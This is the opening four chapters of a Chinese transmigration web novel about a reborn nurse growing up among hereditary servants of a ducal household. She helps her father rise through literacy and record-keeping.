《公府小婢》 1. 家生子 京城的冬天今年来得比以往更早一些,头一场雪就下了两寸厚,没过了脚踝,那权势富贵的人家正揣着手炉,让家仆扫雪烹茶,何等风雅!可穷苦人家却冒着风雪,红肿着指头拿着铁锹铲雪。 惜娘家就是如此,她爹何大魁生得五大三粗高大威猛,一个人在外面那窄窄的院子拿着铁锹铲雪,吭哧吭哧的干活,也不觉得累。 何家不大,正房两间,旁边搭了半拉厨房,院子很窄,除了一方天井之外,便只有一条一人来宽的过道。靠近过道的便是东边的三间屋子,最小的那间做柴房,另外两间便是哥哥何松和她一人一间。 北风呼啸而过,吹得窗棂呼呼作响,六岁大的惜娘躺在炕上,听着外面铲雪的声音沙沙作响,准备起床。 枣红色立领小袄儿,灰色的衬裤,外面再罩一件厚实些的棉袄,一条厚实的青色棉裙,戴上虎头帽,穿上虎头鞋,她就推门出来了。 刚推开门,就听何大魁道:“闺女儿,你怎么这么早起来了?快去厨房,找你娘用热水洗脸。” “哎。”惜娘应了一声,从何大魁已经铲干净的道上踩着过去。 厨房已经烟熏火燎的,但尽管如此,一位生得十分标致的女子正挥洒着锅铲,都让人有些不真实感。 无他,皆因她娘万氏实在是生得娇花一般,笑起来贝齿雪白,即便普通的灰布袄儿都遮不住她的雪肤花貌。 曾经刚穿过来的时候她还觉得很奇怪,因为这对夫妻其实不大相衬,一个生的高胖壮,相貌平平,一个生的跟九天玄女似的。 后来才偶然听说了,她娘是镇国公府世子夫人小程氏的陪嫁丫头,因为美貌,人又小意,所以被世子看上,世子夫人立马后脚随意寻了个错,把她配给了最低等的杂役小厮何大魁。 据说她被赶出来的时候,连体己都不许带,光着身子出来的,后来还是和她一起陪嫁来的海棠姑娘偷偷把她历年积攒的一百多两的簪环首饰衣裳拿了出来,万氏才和何大魁在镇国公府的后街花三十两置办了这座小院子。 万氏见女儿过来正笑道:“惜娘,你在灶门口坐一会儿烤烤火,娘把菜盛出来了,就给你打水洗漱。” “好,娘亲。”惜娘笑着,思绪飘了很远。 她名叫何惜惜,穿越前是某三甲医院的护士,好容易干到护士长,正打算带爸妈出去旅游,没想到上了个通宵夜班,早上回家因为心梗,头一晕,就胎穿到这家了。 巧的是原身也叫何惜,小名惜娘。 何家是镇国公府的世仆,何大魁的爷爷原本是从湖广江陵府发大水逃到苏州的,后来又因为父母双亡,被族里赶出来,去了浙江做盐丁,被募兵到了宣府跟随老国公打仗,后来索性就投靠了国公府做下人。到了何大魁的爹这一辈,虽然也会些武艺,但天下承平日久,那武艺早就荒废了,不过是帮着赶车做马夫。 何大魁的爹一共三个儿子,长子何大器继承了马夫的位置,何大器自己混得一般,倒是有个女儿豆娘是大小姐房里的三等丫头,大小姐今年冬月嫁给了三皇子,她也跟着陪嫁过去,临走之前把体己拿了回来,何家大房便在后街置办了两进的宅子,还把儿子送进学堂,日子过得相当可以。 当然,大伯家两口子都在公府上工,月钱也比自家多,除却大伯家,还有三叔家也是,三叔在大厨房帮忙,三婶则在府中洒扫,也是双份月钱。 不比自家,只靠她爹一份工钱。 自家这般也是因为爹要保护娘了,万氏生得太过貌美,若是被哪位爷看了去,何大魁怕自己护不住,只能留她在家,平日洗洗衣裳做做饭。 还好何大魁也算争气,他本是三老爷的小厮,三老爷颇为出息,这样的勋贵嫡子,却年纪轻轻中举,只不过一朝英年早逝,何大魁等人没了依持,打散到四处。他从杂役做起,再到角门小厮,如今换到侧门值守。 月钱平均每个月四钱左右,还有三五钱的跑腿、搬送东西的额外收入,一个月差不多七八钱银子。 桌上今日吃的是麦饼,配着臊子炒白菜,还有炖的猪血粉条,两碟酱菜。 惜娘吸溜着粉条,听何大魁说起他们那儿的一个同伴调到正门去了,十分羡慕:“他的门包都拿到手软呢,说起来,还不是走了刘管事的路子。” “爹爹,我觉得调去正门的小厮都要粗通文墨,是不是?”惜娘问道。 何大魁一愣,又道:“是啊,可惜你爹我虽然识得几个字,但认识得太少了,若是会写门帖,也不至于混到现在这般。” 惜娘对自己穿越过来的世界一无所知,但她知晓识字写字的好处,至少前期投入,绝对是必要的,故而她道:“爹爹,能不能让哥哥和我一起读书去?女儿识字会写字了,到时候教会爹爹,爹爹学会后,调入正门指日可待。” 上辈子在现代,她爸妈守着几亩田,家计艰难,多亏她在村小读书不错,后来考到镇上,县里,最后考上高护本科,在三甲医院做护士虽然辛苦,但是工资不错,还能在市里买房,也算是鲤鱼跃龙门了。 像她在农村的许多同学,不是小学刚毕业就辍学去外面跟人家做衣裳,就是读到初中开始学坏了,进了职高,像她这种算不得十分聪明,但能够心无旁骛坚持下来的,都少之又少。 此时,见爹娘都跟听天书似的,惜娘也是打定了主意一般,一鼓作气道:“哥哥明年八岁,再过几年府里要人,哥哥若懂些眉眼高低,也不至于只做个杂役,还有女儿这里,能写会算,将来指不定还能做个管事娘子呢。” 她们是家生子,横竖都是要进府当差的,既然如此,为何不当个好差事呢? 何大魁别看长的五大三粗,但是为人粗中有细,他略思忖片刻,竟然同意了:“我女儿自话就早,跟你娘学斟茶女红都比人家强,你的话在理,既然如此,我就送你们读书去。” “当家的,读书要许多钱吧?”万氏这些年生了一双儿女,吃喝拉撒都把体己花的差不多了。 何大魁笑道:“正好今日我不当班,就去问问,反正咱们又不是要作诗,不过是认得几个字罢了。” 当即,何大魁吃完饭就去问了,只不过回来时,有些难以启齿。< /p>万氏见他脸色不好,不由道:“怎么了?难不成真的很贵?” “我打听到有一家学馆一年八两,但进去看了看,那里学风不好,还有另一家离咱们这里两条街的杜秀才那里,口碑倒是不错,但一年也要十两,两个孩子就要二十两啊。”何大魁哪里有这么多闲钱。 承蒙当年在三老爷身边跑腿做小厮,他也攒下一笔钱,但后来儿女出生,常常小病小痛,手里现下也不过三十两银子,要把家底都拿去读书,他不愿意。 那么,就只能送一个人去读书。 万氏摇头,从一口旧的枣木箱子里拿出一套云锦的衣裳来,虽然有些半旧不新,但也是当年她得的赏赐,故而道:“你把这套衣裳去当了,好歹能够当七八两银子,这身上的老绣片,如今可是花钱都未必能买到的。咱们先让孩子们读一年试试,若是读了一年,都没有长进,就不必费钱,可若是他们都有长进,也是咱们的造化了。” “你的好衣裳也没几件了,咱们不还有三十两吗?拿那个钱吧。”何大魁不肯。 还是万氏劝他:“你这个人怎么这样啰嗦了,不当死物,留着做什么。” 她本是小程氏身边最出挑的侍女,无论是相貌、女红还是办事都是一流的,可她知晓小程氏的脾性,极度爱吃醋,故而,从未有过痴心妄想,对世子能避则避,不曾想世子本风流博浪,常拉扯她,倒是点了小程氏的眼,小程氏就直接拉她配人。 嫁给何大魁的时候,虽然人家都说他只是个粗鄙的杂役,自己从云端落入泥地,故而刚被拉出来配人,她恨不得上吊才好。 但没想到何大魁并非傻大个,反而很内秀,听闻他原本想进亲卫队,还成日射箭,准头极准,颇有武艺,平日从不吃酒,非常顾家。 府里但凡分了些什么吃食,或者他看门的时候人家送个什么,他都舍不得自己吃,都会带回来给她们娘几个。 她就很满足了。 何大魁此时听了万氏的话,不由道:“我倒是有个法子,这一年的束脩是十两,那半年就是五两,咱们先送两个孩子去读半年,如此一来只用花十两,你的衣裳就好好放着。” “你能说动吗?”万氏不常出门,平日买菜就在附近的街市买些,并不知道这些。 何大魁道:“这有什么说不动的,你就交给我吧。” 何家一日只吃两顿,早上吃了一顿后,惜娘就在房里做针线,她五岁就开始学打蝴蝶结子,六岁学着劈线拿针。 到了晚上吃饭,家里吃的杂粮面条,配着一碟蒜苗炒的腊肉,一碟自家发的豆芽菜。 万氏便把这个好消息和兄妹俩说了,惜娘没有想到爹娘如此用心,她仰着头道:“你们就放心吧,我肯定会好好学的。” 她想的当然不仅仅是进府得到一个好的位置,更想要脱籍,到时候全家有一份小资产,后代不再为奴为婢,小富即安就很好。 可让家里人听自己的,不是靠嘴巴说说,那是要用自己的实力,当然,现在谈论脱籍还为时过早,得先学了字,让她爹尽管升职才是。 2. 第 2 章 说起上学堂,那也是明年的事情了,万氏先教女儿刷牙:“口气不能熏着主子,否则,你就是再能干,怕也是不能近前伺候了。” 只有在跟前伺候的,赏赐才多,也不需要做重活。 惜娘想没想到古代也有牙刷子,她仔细刷完牙,万氏检查了一遍,又教女儿坐卧行走,铺床叠被、做女红。 在她看来女儿在家若是没有学好,到时候在嬷嬷或者大丫头手底下是会被打骂的,她可舍不得女儿被人家打骂。 惜娘坐凳子腰不能塌,只能坐三分之一,跨过门槛时不能掀开裙子,走路时脚跟要先落地,说话声音要轻,跪礼和福礼要怎么行合适。 这些都不是一蹴而就的,需朝夕下苦工夫。 但是叠被铺床的时候,她力气太小,一下扑倒在床上,惜娘索性赖在床上不起来了,还“咯咯咯”直笑,她也知道万氏很疼她,果然,万氏拿了一包点心过来喂给她吃。 何家女儿是娘教,儿子是爹教,何大魁托一位马夫教儿子何松骑马,每个月送一壶酒、一块腊肉都可。 至于何大魁为何不让亲哥哥教,而让外人教,惜娘也不明白,现下就摆动着腿问万氏:“娘亲,你说哥哥为何不跟大伯学呢?” 万氏笑道:“你别看人家只是个马夫,人家曾经可是老国公的亲兵的儿子,你爹小时候跟他爹学,射箭甚至能射进石头里,堪比那飞将军李广的,他儿子也不差的。” “娘,可是这样的人不应该混的很好吗?”惜娘道。 万氏却摇头:“我听说他脾气不怎么好,又不容于人,很受排挤。” 惜娘这就明白了,什么都是太出挑了,就容易不容于世,万氏因为太美了,即便什么都不做,都容易受到忌惮。 此时,已经到了中午,有人敲门,惜娘趿着鞋子出去开门,一看,竟然是三婶孙氏带着女儿何俏过来了。 惜娘这位堂姐何俏,真是人如其名,生的就很俏丽,唇边一颗痣,愈发显得伶俐机灵。 “二嫂,我和大利要去归置些东西,等会不在家,让俏娘在你这里待会儿,我们过会子来接她。”孙氏道。 万氏见她说的语焉不详,也没多问就答应下来,她和孙氏关系一般,当年她是世子夫人身边的大丫头,孙氏则是洒扫的粗使丫头。何老太没有钱出聘礼,恰好孙氏偌大年纪也无人提亲,孙家不要聘礼,反倒是赔了四口箱子的嫁妆进门。 偏万氏人又生的漂亮,何大魁对她是含在嘴里怕化了,捧在手里怕飞了,孙氏则和何大利夫妻常常打架。 更有万氏比孙氏早生下儿子,何松比何槐还小月份,却比何槐高,更让孙氏忌惮万氏。 上回何大利过来二房和何大魁一起吃酒,夸了几句万氏做的菜好吃,又来了几回,孙氏背地里就拦着,生怕何大利和万氏有什么首尾,这事儿被万氏知道,心里烦闷。 两家有些时日没有来往,今日她蓦然这么把孩子送过来是为了什么,万氏也不知晓。 至傍晚,何俏在这里吃过饭后,孙氏才姗姗来迟接孩子。 等她们走后,万氏问起何大魁,何大魁守门的人,简直就是是非中心地,哪里能不知道,他道:“二老爷在外有了外室,让三弟夫妻过去伺候的。” 寻常那些心腹不好派出来,这何大利曾经是他的小厮,如今又在厨房切菜做工,算不得重要人物,正好神不知鬼不觉。 万氏不解道:“二老爷本就是个博浪风流人物,二太太又是个好性儿的人物,要什么人抬进去就是了,哪里还要这般?” 何大魁笑道:“以前二老爷身上不过只有个闲职,如今却已正式入职中军都督府都指挥佥事,万一被御史知道就不好了。你不知晓这妇人的男子汉刚去,还在孝中呢,若是这般急切迎了进来,到时候怕是人家说他强抢民女。” 他夫妇二人说完这些,又说起镇国公府旧事来,不妨因为晚饭吃多了,在房里昏昏欲睡的惜娘听了个正着。 老镇国公兄弟一共三个,老国公为长,娶淮安侯府大小姐程氏为妻,夫妇二人一共三个儿子,其中长子、幼子皆为程氏所出,唯独次子是在边关时,人家送的妾侍生下的。老国公过世之后,程氏的长子大老爷徐慎继承了国公之位,二老爷徐恒之前在老国公在的时候颇得老国公喜欢,其能力并不弱于徐慎,反而非常机变,这次便是他能谋得了中军都督府的官职的缘故。 至于三老爷英年早逝,不消多说。 说到这里,何大魁唏嘘道:“以前我是很得三老爷看重的,若非他死的太早了,我哪里沦落至此。” 惜娘正好出来,又求何大魁讲一讲国公府的事情:“爹爹快跟我说说,平时你们说这个老爷,那个爷的,我都听不懂了。” 何大魁见状,便跟女儿说了起来:“好好好,我从咱们现在的这位大老爷镇国公徐慎说起,他先娶了永宁侯的女儿高氏,高氏所出一子,便是如今的世子,今年也有二十五岁,只可惜高氏在世子年纪还不大时,就已经过身了。续弦的苏氏,也就是现下的大夫人,是河东转运使的女儿,家世显赫,便是她哥子如今也在福建任布政使。大夫人过门之后,生了一女,便是咱们大小姐,承蒙皇上圣恩,已然选为三皇子正妃,复而又生了小儿子,在族里排行第六,年纪和你差不多大。大老爷有妾侍方姨娘,她是原配高氏的婢女,因生了二小姐和二少爷,颇有些体面,再有位涂姨娘,生了五小姐。” “爹,娘,光是大房这些人就绕的女儿头疼的很呢。”惜娘捂着脑袋。 万氏摸了摸女儿的小脑袋,又看向何大魁,有些感叹:“记得那时候我随我们小姐进门的时候,六少爷还未出生呢,就是涂姨娘,我也不认得。” 何大魁见儿子何松去上茅厕还不来,知道这小子不耐烦听,只好卖弄刀枪棍棒,就对妻女道:“世子的母家高家只袭爵三代,到如今已然不复存在,故而,太夫人便作主替世子娶的是她娘家侄孙女小程氏,也就是你娘曾经的主家。” 万氏点头:“程家也是武勋出身,后来淮安侯府还管着泉州府海外通商,不仅权势逼人,连富贵也逼人,也因为如此世子夫人小程氏进门就帮着大夫人管家,八面威风啊。” “是啊,很是威风,但大夫人到底是她婆婆,她还是有所惧怕的。”何大魁笑道。 惜娘拉回正题:“爹,徐家还有其余人呢?” “哦,方才我说的是大房吧,二老爷还未说,他是庶出,娶的也是襄阳侯的庶女欧阳氏 ,只可惜欧阳氏进门之后久久无子,二老爷便纳了一房妾室,那妾侍一进门就生了三少爷,故而抬了姨娘,听说娘家姓李,三少爷今年也有十三了,定了二太太亲妹子富商吴家的女儿。还好这李姨娘一进门,二太太也顺利生了嫡亲的四少爷和六小姐,二房还有个女儿,是二老爷通房所出,生母早早死了。便有三老爷就是我曾经的主子,三太太袁氏乃是翰林院侍读的女儿,生有一儿一女,女儿三小姐玉柔,儿子八岁,常被他母亲拘着读书。”何大魁简单说了一下。 万氏提醒道:“还有老一辈的没说呢?” 何大魁呷了一口茶,方笑道:“老一辈的,老国公有弟弟二人,二老太爷早已不在,其子倒是好读书的,中了进士,还尚了永嘉公主,老二房三代单传,公主也只生了个儿子,也极好读书。至于三老太爷一脉,已然转行经商。” 惜娘在心里画了个树状图,慢慢记下。 还是何大魁见天色已晚,他明日还要去当值,就拎着女儿回房歇息了。 他回来之后,先烧了热水沐浴一番,又抱着万氏敦伦了一番,万氏很喜欢闻他身上的香味,一股干净的皂香,胳膊强劲有力,单手都能抱起她来。 他二人又好生缠绵了一番,惜娘则早已进入了梦乡。 很快到了小年夜,何大魁得了赏钱,又回来和万氏道:“正好过年也轮上我当值,到时候又会得些赏钱,这可太好了。” 惜娘在旁想这便跟现在节假日加班一般,三倍工资,大部分的人都还是愿意干的。但现代的工作起码可以选,古代却很难选,奴才哪有什么过不过节的。 万氏把钱收好,出来道:“你放心吧,我有两个孩子陪我,你就安心当差。” 接着,何大魁又把节礼让何松跟他一起搬了回来,有白面馒头、蒸糕、花馍、灶糖这些主食点心,还有每人猪肉一斤、板油一块,浊酒一壶。 再有何大魁是守门人,公中还会发红烛灯油,他拿了几根在家,那红烛点上后,倒比灯盏要亮上许多。 暖融的灯光下,一家人头抵着头,看着这堆吃食,很是满足。 惜娘想现代的人浑说什么碳水脸,殊不知这些食物对她们这些穷人而言,就是能活命的东西。 年节下,万氏在家做了许多好吃的,见外头雪大,拘着何松和惜娘不许出门,就怕出个好歹,还好何松虽然皮,但也懂事,惜娘自不必说,她怕冷的人,自然不出去。 但大房因为夫妇二人都要上工,那何柏也是个顽皮的,一下子掉进冰窟窿里,还好后来被救上来,他们只熬了些姜汤,后来见儿子高烧,又请了个游医,结果拖了一个月,拖成了痨咳,大伯母没法做事儿,只能回家照看儿子,重新请了名医来看,一个月就花了六两。 大房本来夫妻两工钱都不高,幸亏有她女儿给的六十两,他们把体己拿了十两出来都买了宅子,还供儿子读书也花了十两,一下就返贫了。 何大魁却想的是另一件事,他和万氏道:“豆娘又跟了皇子妃入宫,一辈子都不会回来,你说柏哥儿万一夭折了怎么办?我想你生惜娘的时候就伤了身子,日后咱们俩兴许也只有这两个孩子,无论如何,也不能让咱们女儿离开咱们身边,就在府里都很好。” 3. 第 3 章 年后,惜娘就上了学馆,学馆的人并不多,都是商户的儿女,或者是惜娘她们这样的家生子女,学的东西和她想象中完全不同。 比如说正常的开蒙之后,便学四书五经,但是杜秀才这里就像专科财务学校一样。 她们这些小孩子学认字,拿的书是《日用杂字》和《四言杂字》,图文结合类似于现在的课本。当然,《三字经》、《百家姓》、《千字文》也是开蒙必学的,要先背诵再释义。 上午学认字,下午便学写字算术。 写字对于她这个现代拿吸管圆珠笔或者中性笔的人而言,反而是最难的,所以前一个月,她要学的都是控笔,杜秀才会教她们五指执笔法,先控笔之后,再学笔画,再描红、仿影到临帖,最后直接写字。 第一个月握笔和笔画学会了,她才放心,和哥哥回到家里的时候,已经很饿了,兄妹俩去厨房闹万氏。 万氏失笑:“你们俩个小鬼头,难不成真就这么饿呀?” 惜娘道:“娘,您可不知道,中午杜师母就给咱们吃炖的白菘,再有一碟烂黄豆,肚子早就饿的咕咕叫了。” “妹妹说的是啊,我都放了好多屁,他们还给我取外号叫‘屁王’,气死我了。”何松不服气的很。 万氏呵斥他:“这些不雅的字,就别说了,知道么?你过两年也要进府做事了,还这么冒冒失失的吗?” 何松做了个鬼脸,吐吐舌头,表示错了。 惜娘帮哥哥说话:“娘,您别说哥哥了,他现在已经比之前好多了。以前他玩的时候,我们喊他,他都不理会的,现在每天等女儿一起上学下学,有人看女儿年纪小,欺负女儿,哥哥也帮我打他。” 万氏脸色才和缓下来。 晚饭吃的是芋头煨的腊肉,再有一碟酸豇豆,何大魁这个时候回来了,还提着一包麻花、一小包碎肉、一包菌菇。 “今儿有几个往府里送货的商户给的,等会儿拿去厨房,明日咱们也打打牙祭。”何大魁笑道。 万氏把吃食收好,又帮他盛饭,一家人把饭菜吃个精光。 吃完饭,便是正式教学,惜娘虽然比哥哥小两岁,但她到底是穿越来的人,学的很快,《三字经》已经可以全部背下来了,所以,她重点教她爹拿笔。 没想到何大魁非常用功,甚至先用毛笔蘸水在废弃的纸上写,又在纸上写字,他趁着惜娘兄妹二人在描红的时候,又把《相对四言》拿出来看。 这《相对四言》上面有字也有画,比如云对应的就是画的云朵,雨就是对应下的雨,这本书对他而言如获至宝。 惜娘描红描完后,就教他爹爹背《三字经》,让他用手指一个字就背一个字。 到很晚,大家才去睡觉。 学堂是每个月的朔日、望日休息,通俗些的说,便是初一十五休息,次月的望日,万氏带着儿女们一起去大房探望堂兄。 大伯母张银娥自从儿子生病,就没上工,万氏过来给她带了一包蜜饯来:“给柏哥儿甜甜嘴。” “自从豆娘陪着大小姐进宫,我们家里就少有东西了,你大哥你们也是知道的,平日能不被人家穿小鞋都不错了。”张银娥很是感激。 万氏安慰道:“大夫不是说柏哥儿的病调理二三年就好了,你们现下辛苦些,到时候他能够进府里上工就好了。” 张银娥听了这话欣慰了些,从房里拿了桃儿过来,要分给何松和惜娘吃,万氏连忙拦着不要,张银娥道:“这是三弟拿来的,你大哥常常在外,我素来肠胃不好,你是知道的?拿着吃吧。” 万氏这才示意儿女们收下。 大房隔壁住的是彭寡妇家,彭寡妇有两个女儿,平日她家有什么重活因要求大伯父,所以对大伯母很讨好。 不过,后来她女儿做了大夫人的大丫头后,彭寡妇颇有些翻身农奴把歌唱,对何家有些居高临下,现下彭家却倒霉了。 惜娘啃着桃子,听大伯母道:“也是活该,得了病不回家看,在主子那里养病,结果把二少爷过了病气,大夫人就让人把她挪了出来。” 万氏道:“这也是不该,得了病就该家去。” “彭寡妇的小女儿跟惜娘差不多大,再过两年就要进府去了,他大女儿出了这样的事情,小女儿还不知将来呢?”大伯母有些幸灾乐祸。 回程的路上,惜娘问万氏:“娘,病了不能再在府里看吗?” “做大丫头的可以请大夫看病,但若是养病,尤其是咱们家生子,病重了都要回家看病的。但也有不少主子宠幸的,容许在房里养病,但主子愿意遮掩一番才好。”万氏道。 可惜娘不解:“那既然回来养病,养好了再去上工便是,彭寡妇方才哭丧着脸做什么?” 万氏知晓女儿聪明,也不瞒着她:“有些事情主子觉得是小事,那再大的事儿也是小事,可主子觉得是大事儿,那再小的事儿也是大事。我估摸着她肯定得罪人了,或者做错了什么事儿,府里不好说,便借这个由头赶出来了。” 果然,等何大魁回来一问, 还真是。 “这彭家的女儿有几分姿色,原本是大太太房里的一等丫头,却与二少爷有些首尾,这便罢了,把大太太的好东西偷了不少给二少爷。这回二少爷定了亲事,又没要她过去房里,还要放她出来嫁人,嫁的是咱们后街那个不成器的二顺,她估计是气病了。” 万氏心想这做大丫头的路,无非就那么几条,要么就给爷们做个通房,有幸生一男半女抬个姨娘,这已然是万中无一的了,要么就配能干的小厮,将来做个管事娘子,最差的便是彭家女儿这种,和她当初情况类似。 幸好她碰到的是何大魁,但那个二顺可真是个吃喝嫖赌样样来的人物。 又说惜娘和她哥子学了三个月了,也认得四五百个字,会写一二百字,惜娘学的更快些,会写三四百字了,甚至还学会打算盘,知道怎么认数,怎么算度量。 本朝一斤是十六两,一两白银差不多一千文,一丈等于十尺,一尺等于十寸。 何大魁现下写的字虽然斗大,但他也逐渐能够慢慢识字,尤其是《百家姓》里,对于府内各人的姓他有了不少了解。 惜娘跟他爹出主意:“我看爹爹不如把每日出入的人,在册子上写了,这字儿只要多写,就会越写越好的。您不像我和哥哥,每日能够有工夫练习。” 那竹纸极便宜,一刀不过十八文,一刀纸差不多一百多张,他则在门房开始记出入的人,某日某时某人出入云云。 惜娘做过护士长,以前大学时也学过计算机,普通的建表还是会的,她就帮何大魁把出入的表写好,何大魁日后直接按照这个模式写就好。 但何大魁也聪明:“许多门房并不识字,所以我这个册子,只是私下写写,否则拿到明面上就是坏了规矩。” 真是好记性不如烂笔头,何大魁本来也算是记性好的人,如今有登记册子,还真是翻一翻事情查的更快了,管事有什么事情倒是来问他。 正好遇到府中端午节前,府中往来人员频繁,国公爷有一封信件失窃,亲自来门房察问未时一刻有谁来到? 因为端午将至,府里人来人往,众人哪里知晓的这么清楚,亏得何大魁拿出自己的册子,把未时一刻来的人全部记在册子上,国公爷从中核对一遍,当即让人去查。又见何大魁孔武有力,做事仔细,亲自调他到正门,一个月月例八钱,每年还能得夏布一匹,冬粗布一匹,每日还有糙米一斗。 何大魁很是高兴,回来和妻女道:“看来咱们女儿说的对,多读书还是有用的。” 4. 走门路 因为何大魁调到正门,手头宽裕了许多,又觉得女儿学好了对家里有利,遂又在杜秀才那里给儿女续了半年银钱。 现下杜秀才正经教她们打算盘,惜娘走到自家门口的时候都在背口诀:“一上一,一下五去四,一去九进一……” 正好遇到孙兰香带着何俏出门去,惜娘见她们行色匆匆,遂去堂屋找万氏问:“娘亲,三叔母过来做什么?” 万氏道:“她过来是想让我教俏娘做女红。” “那您答应了吗?”惜娘好奇。 万氏勾了勾唇,,告诉女儿:“法不外传,道不贱卖,师不顺路,医不扣门。当年我就是因为一手好女红,才被程家的太太派去伺候小姐的,她要学也得有诚意,上下嘴皮子这么一碰,就想人家教毕生绝学,这不能够。” 别人吃饭的家伙怎么可能轻易教给你。 “也是。”惜娘赞同,但她道:“不是说三叔一家去伺候人了吗?怎么她又过来了。” 万氏道:“姚姨娘已经进府了,你三叔又回厨房做工了,可不就一家子又回来了。” 惜娘叹了一句,又打算盘给万氏看,万氏平日接一些零活贴补家计,此时正拿着一匹?夏布做两套道袍。 夏天天长,惜娘算了一遍,又开始写大字和小字,见哥哥留堂回来,忍不住道:“昨儿我让你同我一起写功课,你偏偏跑出去和巷口的那几个小子一起浑玩,现下好,被先生留堂了吧。” 何松也不辩解,嘻嘻哈哈坐下来写功课。 万氏去厨下做饭,今日吃的是绿豆水饭,一碟炒豆干、一碟酱黄豆。 晚上照例,惜娘教何大魁认字打算盘记账,何大魁学的很认真,不敢有一丝马虎。惜娘指着账本道:“账本是不能涂黑的,如果错了,就划一条线,划完之后再在旁边写。” 何大魁从一打到九很会打,但是进位学的慢些,惜娘笑道:“不打紧,等女儿学会了再教您。” 除了算盘要打的熟练,还要把官定大写记账数字和苏州码子熟读熟写,这些又学了半年才学会。到了第二年,杜秀才算是教她和哥哥都是一对一的教了,毕竟不是每户人家都能出得起一年十两的。 这一年何大魁可谓是进步非常大,从一个文盲到能写会算,平日在门房颇会接待来客,不欺生,态度极好,有好几位来访的官员对他印象很好,何大魁也会趁机道:“几位大人若是觉得小人服侍的好,可得在咱们国公爷面前多夸奖小的几句。” 有的门子不敢这么说,就怕偷鸡不成蚀把米,但何大魁认为自己只要一百个人里,有一个人把话带到了,那么他就很有可能被提拔。 去年一年,他得了门包差不多十五两,把儿女的束脩倒是能支绌过去。 今年开春,二少爷成婚,娶的是庄家的女儿,都是世子夫人小程氏一力操持,倒是操持的很不错。 门房也要接待四面八方的来客,何大魁依旧是觉得对自己有好感的人,让他们在国公爷和主子们面前夸奖自己一句。 错眼不见的,看到弟弟何大利了,不免道:“今日府里还有筵席,怎么你出来了?” “二老爷那里喊我过去办事。”何大利觉得关系最重要,像他二哥这样熬来熬去,熬到如今也不过是个门子,还不如先抱上一条大腿。 何大魁还劝他:“你好歹等差事办完了再过去啊……” 何大利则道:“二哥,你别想着靠在这里做事儿升迁,我那侄儿侄女若是要进府找个好去处,还得靠人。” 何大魁心想不管怎么样,还是打铁还需自身硬。 但何大利倒是很有本事,他去求了姚姨娘,姚姨娘在府里也没人手,现下又正受宠,在二老爷那里递话,二老爷还真的把何俏送到了老太太屋里。 “这么说,俏丫头去了老太太那里?”万氏放下针线,现在还真佩服何大利了。 何大魁笑道:“是啊,不过你别担心,我也有一件好事要告诉你。” “哦,何事儿啊?”万氏以为他是收到一份大的门包。 不曾想是何大魁升了门房副总管,他道:“祁副总管的爹摔了腿,家里娘子又要生产了,便是他也害了风寒,如今上面让我先暂时代替祁副总管。” 万氏笑道:“虽说是暂时的,但他再回来可不容易了。” “我也是这般想的,是以,你说这值不值得高兴?”何大魁道。 万氏当然替丈夫高兴,门房副总管,将来若是再升到门房总管,那才真是熬出头了。 惜娘回来之后,得知他爹升职也欢喜的很,又道:“近来先生教我们怎么辨别假银子?您要不要也学一学。” 何大魁一听到要学习,就不说别的了。 惜娘则道:“那银子一般是雪白中带着青光,但是又不很刺眼,即便是长期窖藏,外面看着乌漆嘛黑的,但是擦开之后,里面还是雪白的。也有一种白铜掺在银子里,看着也白,但却是死白,没有青光,您用火一烧便知晓了。” “我记得咱们国公府有试金石的?那个东西也可以吗?”何大魁问起。 惜娘笑道:“可以,还可以先用戥子称,看重量怎么样。还有银剪子,直接剪开便知道了,碎银子好说,只要内外颜色一致便成,但若是大元宝,就观察一下里面,里面也是雪白的,那就是挣得,若里面是黄色、红色的,就是银包铜,若里面是灰黑的,就是用铅或者锡灌的。” 见女儿说的头头是道,儿子却闭口不言,何大魁望着儿子道:“你要是有你妹妹这样的口齿,我便什么都不担心了。” 惜娘知晓自己是占了重生的便宜,小哥哥却是个九岁的小少年,理解能力肯定没这么强,倒是帮她哥哥说了几句好话。 接着惜娘又说了几种银子如何用火烧,何大魁直接把女儿记的笔记拿来看,他现在认识的字可不少觉得自己又学到了不少。 次日旬休,惜娘睡了个懒觉,何松早跑去学射箭了,她则起来刷牙,让万氏看她刷干净了,才吃早饭。 < p>吃完早饭,大伯母带着儿子何柏过来了,何柏的病看着好了不少,却要终身吃药,大伯母提着当然是来恭贺万氏的:“二叔总算给咱们家光耀门楣了。” 万氏心里高兴,嘴上还道:“一个代的副总管,等人家回来,也要让出去的,哪里算什么光耀门楣的事儿?” 大伯母又道:“亏得二叔好学,跟着惜娘和她哥子学写字,我们家那个,你就是让他学,他也不学,做什么都不成。” 万氏当然知晓,若何大伯混的好,怎么选了他家女儿陪嫁过去,进去那深深的宫墙之中,那真有本领的,早就拉了女儿在家,求了恩典,放了出去嫁人。 但她又不好说,只好道:“柏哥儿好了,将来能去府里上工,你们家就好了。” 她们过来祝贺的,万氏便让人拿了些点心出来,惜娘见状就道:“娘,还是洗一些果子来吧,柏哥爱咳嗽,不能吃这太甜腻的点心。” 惜娘做过护士,知道很多病人就因为不遵医嘱,后来病情复发,但万氏却还是放桌上,只是重新洗了果子来。 大伯母见何柏拿着吃,也不说话,只顾着和万氏说话。 等他们走了,惜娘才和万氏道:“娘,你干嘛呀?” 万氏笑着指了指自己的脑袋:“你呀,这里很聪明,可有些人情世故你就不懂了。就比方你方才那样说,你大伯母以为是我舍不得给你柏哥吃。” “可我真的是为了他好啊。”惜娘不明白,做娘的应该更知道忌口才是啊,要不然诱发了痰症怎么办? 万氏摇头:“你看你大伯母常常说油多不坏菜,我听你爹说你大伯身上都是那种圆鼓鼓的凸起来的瘤子,就是吃油吃的。” “如今这年头,大房也不是很有钱,怎么会吃那么多油?”惜娘咋舌。 万氏道:“找人买的猪油渣啊,她家肉吃的不多,几乎都拿来买猪油了,一道青菜都做的油汪汪的。你大伯又是马夫,常常帮厨房采购,人家给些油啊那些。” 惜娘道:“真是好话救不了要死的鬼。” 万氏摸着女儿的额头道:“你不管别人,等会儿我们娘母子一起做针线。” 惜娘发现爹和娘的性格其实都很有反差,爹看起来粗犷,平日除了在门房看起来圆滑之外,说话硬梆梆的,但其实他内心很软,行事宁可他负人,也不愿意人家负他。偏万氏看起来很和气,常常温柔似水,可心里却是很冷,除了家人,别人都漠不关心。 她是春天的生日,现下已经八岁了,学针线也有两年了,会套针、接针,还会劈极其细致的花线,在薄纱上也能绣,一日之内可以在一尺的绢帕上绣一枝折枝玉兰花。 